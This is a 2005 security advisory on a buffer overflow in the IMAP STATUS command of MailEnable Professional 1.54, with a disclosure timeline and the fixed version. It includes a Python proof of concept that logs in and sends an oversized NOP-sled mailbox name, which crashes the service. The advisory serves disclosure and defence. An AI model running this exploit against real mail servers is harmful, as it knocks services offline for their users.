[NT] MailEnable STATUS Command Buffer Overflow

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MailEnable STATUS Command Buffer Overflow
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SUMMARY

" <http://www.mailenable.com/> MailEnable is a mail server software which
provides a messaging platform for Microsoft Windows."

A buffer overflow in the MailEnable's STATUS command support allows
attackers to execute arbitrary code with elevated privileges.

DETAILS

Vulnerable Systems:
* MailEnable Professional edition version 1.54

Immune Systems:
* MailEnable Professional edition version 1.6

MailEnable's support for IMAP status command can be exploited to cause the
product to overflow an internal buffer, the following exploit code will
overflow the buffer with a NOP sled.

Proof of Concept:
#
# POC about imapd mailenable bug in status command
#

import sys
import imaplib

class poc:

def __init__(self,host,loginimap,passimap):
self.host=host
self.loginimap=loginimap
self.passimap=passimap

def exploit(self):
print "Please wait"

connect = imaplib.IMAP4(self.host)
connect.login(self.loginimap,self.passimap)
nops='\x00'
nops+='\x90'*10540
try:
typ, data = connect.status(nops,'(UIDNEXT UIDVALIDITY MESSAGES
UNSEEN RECENT)')
except Exception,e:
print "Service down!"
return 0

if(len(sys.argv) < 4):
print "Need 3 arguments, ./poc.py host user pass"
sys.exit(1)

exp=poc(sys.argv[1],sys.argv[2],sys.argv[3])
exp.exploit()

#EoF

Disclosure Timeline:
2005-06-30: Notification to vendor.
2005-06-30: Vendor acknowledged notification and provided a fix.
2005-07-12: Public Disclosure.

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisories@coresecurity.com>
Core Security Technologies .
The original article can be found at:
<http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10>
http://www.coresecurity.com/common/showdoc.php?idx=467&idxseccion=10

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